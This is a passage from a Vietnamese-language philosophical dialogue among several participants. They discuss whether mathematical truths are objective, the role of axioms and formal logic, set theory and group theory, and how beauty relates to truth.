học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ 